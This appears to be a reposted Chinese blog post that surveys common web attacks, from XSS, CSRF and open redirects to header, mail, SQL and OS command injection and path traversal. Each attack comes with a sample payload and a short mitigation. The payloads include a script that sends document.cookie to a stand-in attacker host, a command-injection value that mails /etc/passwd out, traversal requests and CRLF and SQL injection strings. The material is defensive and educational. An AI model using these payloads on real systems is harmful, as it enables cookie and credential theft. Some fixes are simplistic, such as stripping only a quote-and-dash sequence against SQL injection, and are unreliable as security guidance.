1. 程式人生 > >web網絡攻擊解決方案

web網絡攻擊解決方案

插入字符 頁面 ntb 登錄 and 相對 引號 sql 語句 三方

產生原因

  • HTTP 不具備安全功能。
  • 在客戶端可以篡改請求。

跨站腳本攻擊 XSS

攻擊方式:

  • 通過提交的信息中帶入 js 腳本或 html 標簽。
  • 提前閉合標簽,有些甚至不用特殊處理。
  • 執行操作或者引入三方 js 。
正常請求:
http: //example.jp/login?ID="haha"
正常顯示:
<input type="text" name="ID" value="yama" />

攻擊請求:
http: //example.jp/login?ID="><script>var+f=document.getElementById("login");</script>"
攻擊顯示:
<input type="text" name="ID" value=""><script>var+f=document.getElementById("login");</script>

解決方案:

  • 對提交內容進行編譯,“<” 轉 “&lt;”, ">" 轉 “&gt;”。防止文本解析成標簽。

跨站點偽造請求攻擊 CSRF

攻擊方式:

  • 通過第三方網站,訪問本網站的接口,導致攜帶本網站的 cookie 。
  • 隱匿的使用戶進行操作。

解決方案:

  • 方法一:驗證 HTTP Referer 控制請求必須本網站發出。
  • 方法二:在請求地址中添加 token 並驗證。
  • 方法三:在 HTTP 頭中自定義屬性並驗證,第三方網站的請求禁止攜帶自定義頭。

URL 跳轉漏洞攻擊

攻擊方式:

  • 一般登錄頁面會在登錄後,通過 URL 的參數進行回跳。
  • 第三方網站,通過提供正規的登錄地址和錯誤的回跳地址。
  • 誘導用戶以為安全登錄。

解決方案:

  • 對回跳的地址進行嚴格校驗。
  • 不能只簡單校驗域名是否在地址中存在。

攻擊方式:

  • 引入三方惡意腳本,傳輸 cookie 到三方服務器。
如下:
var content = escape(document.cookie);
document.write("&lt;img src=http: //hackr.jp/?");
document.write(content);
document.write(">");

解決方案:

  • 保證引入腳本的安全,可以通過 CSP 對引入資源進行限制。

HTTP 首部註入攻擊

攻擊方式:

  • 通過 %0D%0A 截斷代碼,註入 http 頭代碼。
Location: http: //example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=123456789

%0D%0A 代表 HTTP 報文中的換行符,緊接著的是可強制將攻擊者網站(http: //hackr.jp/)的會話 ID 設置成 SID=123456789 的 Set-Cookie 首部字段。首部字段 Set-Cookie 已生效,因此攻擊者可指定修改任意的 Cookie 信息。通過和會話固定攻擊(攻擊者可使用指定的會話 ID)攻擊組合,攻擊者可偽裝成用戶。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。

HTTP 響應截斷攻擊

攻擊方式:

  • 通過 %0D%0A%0D%0A 截斷代碼,造成多余的空行,註入響應體代碼。
Location: http: //example.com/a.cgi?q=101%0D%0A%0D%0Aalert(1);

HTTP 響應截斷攻擊是用在 HTTP 首部註入的一種攻擊。要將兩個 %0D%0A%0D%0A 並排插入字符串後發送。利用這兩個連續的換行就可作出 HTTP 首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。

SQL 註入攻擊

攻擊方式:

  • 通過單引號字符加“--”,截斷 sql 語句。
正常請求:
http: //example.jp/search?q=haha
正常執行:
SELECT * FROM bookTbl WHERE author = 'haha' and flag = 1;

攻擊請求:
http: //example.jp/search?q=haha‘ --
攻擊顯示:
SELECT * FROM bookTbl WHERE author = 'haha' --’ and flag = 1;
flag = 1 的條件被忽略

解決方案:

  • 對 “‘ --” 進行識別,並且剔除。

服務器文件攻擊

攻擊方式:

  • 通過讀取服務器文件,獲取服務器重要文件。
通過請求返回日誌文件
http: //example.com/read.php?log=../../etc/passwd

查詢字段為了讀取攻擊者盯上的 /etc/passwd 文件,會從 /www/log/ 目錄開始定位相對路徑。如果這份 read.php 腳本接受對指定目錄的訪問請求處理,那原本不公開的文件就存在可被訪問的風險。

解決方案:

  • 對最終的訪問路徑進行校驗,只能訪問最小目錄。

郵件首部註入攻擊

攻擊方式:

  • 通過 %0D%0A 截斷代碼,追加郵件地址。
  • 通過 %0D%0A%0D%0A 截斷代碼,造成多余的空行,篡改郵件主體。
[email protected]%0D%0ABcc: [email protected]

%0D%0A 在郵件報文中代表換行符。一旦咨詢表單所在的 Web 應用接收了這個換行符,就可能實現對 Bcc 郵件地址的追加發送,而這原本是無法指定的。

bob @ hackr.jp%0D%0A%0D%0ATest Message

使用兩個連續的換行符就有可能篡改郵件文本內容並發送。
再以相同的方法,就有可能改寫 To 和 Subject 等任意郵件首部,或向文本添加附件等動作。

解決方案:

  • 對 %0D%0A 進行識別,並且剔除。

OS 命令註入攻擊

攻擊方式:

  • 通過分號,截斷語句,加入攻擊語句。
核心代碼:
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: info @ example.com\n";

當傳入 mailaddress 參數為 “; cat /etc/passwd | mail hack @ example.jp”

會執行下面的語句:
| /usr/sbin/sendmail ; cat /etc/passwd | mail hack @ example.jp
將含有 Linux 賬戶信息 /etc/passwd 的文件,就以郵件形式發送給了 hack @ example.jp。

解決方案:

  • 對分號進行識別,並報錯。

web網絡攻擊解決方案